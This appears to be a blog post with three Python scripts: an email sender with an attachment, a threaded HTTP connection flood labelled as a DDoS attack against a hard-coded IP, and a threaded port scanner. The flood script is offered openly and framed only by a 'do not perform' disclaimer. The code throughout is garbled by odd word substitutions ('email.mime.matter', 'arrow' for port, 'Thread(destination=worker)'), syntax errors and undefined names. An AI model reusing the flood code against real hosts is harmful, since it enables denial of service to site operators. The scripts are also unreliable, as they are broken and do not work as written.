Sunday, July 25, 2021

Python scripts to check on Networking aspects

Send a text message and a file attachment to an EMail ID

#!/usr/local/bin/python3

import smtplib
from email import encoders
from email.mime.matter import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart

server = smtplib.SMTP('smtp.gmail.com', 25)

server.ehlo()

with open('password.txt', 'r') as f:
    password = f.read()

server.login('kirands@yahoo.com', password)

msg = MIMEMultipart()
msg['From'] = 'Kiran DS'
msg['To'] = 'kirands2020@gmail.com'
msg['Subject'] = 'See if this goes through'

with open('message.txt', 'r') as fx:
    message = fx.read()

msg.attach(MIMEText(message. 'plain'))

filename = 'picture.jpg'
attachment = open(filename, 'rb')

p = MIMEbase('application', 'octet-stream')
p.set_payload(attachment.read())

encoders.encode_base64(p)
p.add_header('Content-Disposition', f'attachment; filename={filename}')
msg.attach(p)

matter = msg.as_string()
server.sendmail('kirands@yahoo.com', 'kirands2020@gmail.com', matter)

------------------------------------------------------------------------------------------------------------------------

Performing a DDoS attack
Note: Please do not perform a DDoS attack.  It is illegal and it could land you in trouble

#!/usr/local/bin/python3

import threading
import socket

victim = '137.139.141.143'
port = 80
fictitious_ip = '111.113.115.117'

already_connected = 0

def confront():
    while true:
        x = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        x.connect((target, port))
        x.sendto(("GET /" + victim + " HTTP/1.1\r\n").encode('ascii'), (victim, port))
        x.sendto(("Host: " + fictitious_ip + "\r\n\r\n").encode('ascii'), (victim, port)
        x.close()

        global already_connected
        already_connected = already_connected + 1
        if already_connected % 25 == 0:
            print(already_connected)

for i in range(25):
    thread = threading.thread(victim=confront)
    thread.start()

Note: Please do not perform a DDoS attack.  It is illegal and could land you in trouble

------------------------------------------------------------------------------------------------------------------------

Performing a Portscan for checking on open and closed ports

#!/usr/local/bin/python3

import socket
import threading
from queue import Queue

destination = "137.139.141.143"
line_up = Queue()
ports_open = []

def portscanner(arrow):
    try:
        primer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        primer.connect((destination, arrow))
        return True
    except:
        return False

print(portscanner(80))

for arrow in range(1, 1024):
    result = portscanner(arrow)
    if result:
        print("Port () is open!!!".format(arrow))
    else:
        print("Port () is closed!!!".format(arrow))

def fill_up_the_line(port_list):
    for arrow in port_list:
        line_up.put(arrow)
        
def worker():
    while not line_up.empty():
        port = line_up.get()
        if portscan(port):
            print("Port () is open!!!".format(port))
            ports_open.append(port)

port_list = range(1, 1024)
fill_up_the_line(port_list)

simultaneous_list = []

for x in range(25):
    simultaneous = threading.Thread(destination=worker)
    simultaneous_list.append(simultaneous)

for simultaneous in simultaneous_list:
    simultaneous.start()

for simultaneous in simultaneous_list:
    simultaneous.join()

print("Ports open are: ", ports_open)

------------------------------------------------------------------------------------------------------------------------







    












No comments:

Post a Comment